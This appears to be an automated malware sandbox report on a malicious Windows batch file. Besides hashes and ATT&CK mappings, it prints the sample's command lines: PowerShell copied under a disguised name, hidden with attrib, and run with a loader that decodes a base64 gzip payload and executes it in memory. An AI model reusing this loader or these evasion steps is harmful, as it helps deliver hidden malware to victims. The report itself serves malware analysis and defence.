98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
25-06-2024 01:39

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General

Target

98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f.bat
Size

2.9MB
MD5

a65ee5594b619784ddae86580ae0023e
SHA1

068ab505bb49206349b08527e88fa764475dc4e3
SHA256

98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f
SHA512

fa454fb624c12a7ceac9ba230134cb63df7321dcf09f5c077d7d94d82e0220fd04222b5f1ade571eb0154c716a284ccf802d76676dd0d6063e3da441dd7c056e
SSDEEP

24576:qjdD5w0gCVEM/qU6ucJXtV5g+W1LAXuFyoU/Vgjt5Rxb85lepF+STTdA7jxkbLv8:2D71qdXt/3dKy4JrpFftkbWDoUAiVRTo

Score

8^/10

evasion

Malware Config

Signatures

Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

2072 attrib.exe
Executes dropped EXE 1 IoCs

Processes:

98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f.bat.Uuz

pid process

2916 98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f.bat.Uuz
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f.bat.Uuz

pid process

2916 98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f.bat.Uuz
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f.bat.Uuz

pid process

2916 98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f.bat.Uuz
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f.bat.Uuz

description pid process

Token: SeDebugPrivilege 2916 98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f.bat.Uuz

pid	process
2072	attrib.exe

pid	process
2916	98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f.bat.Uuz

pid	process
2916	98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f.bat.Uuz

pid	process
2916	98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f.bat.Uuz

description	pid	process
Token: SeDebugPrivilege	2916	98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f.bat.Uuz

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2088 wrote to memory of 2260	2088	cmd.exe	cmd.exe
PID 2088 wrote to memory of 2260	2088	cmd.exe	cmd.exe
PID 2088 wrote to memory of 2260	2088	cmd.exe	cmd.exe
PID 2088 wrote to memory of 1736	2088	cmd.exe	xcopy.exe
PID 2088 wrote to memory of 1736	2088	cmd.exe	xcopy.exe
PID 2088 wrote to memory of 1736	2088	cmd.exe	xcopy.exe
PID 2088 wrote to memory of 2072	2088	cmd.exe	attrib.exe
PID 2088 wrote to memory of 2072	2088	cmd.exe	attrib.exe
PID 2088 wrote to memory of 2072	2088	cmd.exe	attrib.exe
PID 2088 wrote to memory of 2916	2088	cmd.exe	98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f.bat.Uuz
PID 2088 wrote to memory of 2916	2088	cmd.exe	98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f.bat.Uuz
PID 2088 wrote to memory of 2916	2088	cmd.exe	98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f.bat.Uuz
PID 2088 wrote to memory of 2916	2088	cmd.exe	98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f.bat.Uuz

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

2072 attrib.exe

pid	process
2072	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2088

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo F "
2⤵
PID:2260

C:\Windows\system32\xcopy.exe
xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f.bat.Uuz
2⤵
PID:1736

C:\Windows\system32\attrib.exe
attrib +s +h C:\Users\Admin\AppData\Local\Temp\98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f.bat.Uuz
2⤵
- Sets file to hidden
- Views/modifies file attributes
PID:2072

C:\Users\Admin\AppData\Local\Temp\98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f.bat.Uuz
C:\Users\Admin\AppData\Local\Temp\98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f.bat.Uuz -WindowStyle hidden -command "$Uizrmvoio = Get-Content 'C:\Users\Admin\AppData\Local\Temp\98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f.bat' | select-object -Last 1; $Ubpyh = [System.Convert]::FromBase64String($Uizrmvoio);$Sfqzwt = New-Object System.IO.MemoryStream( , $Ubpyh );$Tcjzzfukost = New-Object System.IO.MemoryStream;$Umuaqpoo = New-Object System.IO.Compression.GzipStream $Sfqzwt, ([IO.Compression.CompressionMode]::Decompress);$Umuaqpoo.CopyTo( $Tcjzzfukost );$Umuaqpoo.Close();$Sfqzwt.Close();[byte[]] $Ubpyh = $Tcjzzfukost.ToArray();[Array]::Reverse($Ubpyh); $Nfaqarukpjv = [System.Threading.Thread]::GetDomain().Load($Ubpyh); $Kgtpyswwtxy = $Nfaqarukpjv.EntryPoint.DeclaringType.GetMethods()[0].Invoke($null, $null) | Out-Null"
2⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2916

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\98c9320cdb52678dceee4b16666147bd1d96f73006311c03f6238fcdf813f93f.bat.Uuz
Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/2916-5-0x0000000074381000-0x0000000074382000-memory.dmp

Filesize
4KB

Download
memory/2916-6-0x0000000074380000-0x000000007492B000-memory.dmp

Filesize
5.7MB

Download
memory/2916-7-0x0000000074380000-0x000000007492B000-memory.dmp

Filesize
5.7MB

Download
memory/2916-8-0x0000000074380000-0x000000007492B000-memory.dmp

Filesize
5.7MB

Download
memory/2916-9-0x0000000074380000-0x000000007492B000-memory.dmp

Filesize
5.7MB

Download